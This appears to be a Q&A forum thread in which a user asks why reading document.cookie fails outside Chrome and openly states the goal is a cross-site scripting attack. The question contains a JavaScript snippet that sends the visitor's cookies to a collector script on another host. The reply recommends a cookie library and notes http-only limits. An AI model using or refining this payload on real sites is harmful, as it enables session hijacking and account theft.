Reputation: 2586
I have to read cookies using JavaScript. I am using the document.cookie
to do that same. But the method works on Google Chrome only, and not on Firefox and IE 8/9. All the web-pages also show document.cookie
as a way to do it.
How can I fetch cookies in Firefox and IE using JavaScript?
Thanks
UPDATE I tested my code on localhost. On testing the code online on blogspot.com, it didn't even work on chrome.
Any ways, here's the HTML code:
<script type="text/javascript">
function sendCookies(){
document.location='http://localhost/xss/getcookies.php?cookie='+escape(document.cookie);
}
</script>
<a onclick="sendCookies()" href="#">
click here </a> to know about XSS attack.
While debugging document.cookie
in browsers, it shows value in Chrome only. If I replace localhost link a online link, document.cookie
is empty, even on Chrome.
Your possible guess is right. This is a sort of cross-site scripting attack.
Any help on this code will be of good use to me?
UPDATE 2:
Here's the link to the video which shows how to perform XSS attack:
Upvotes: 0
Views: 2319
Reputation: 1796
have you tried using jquery-cookie? https://github.com/carhartl/jquery-cookie Also, keep in mind that you cannot read http-only cookies with javascript. Though, if you can read the cookies in chrome, it is not an http-only cookie. You can check if a cookie is http-only by going to the resources tab in the debug console in chrome and checking if the HTTP column has a tick mark for the cookie.
Upvotes: 2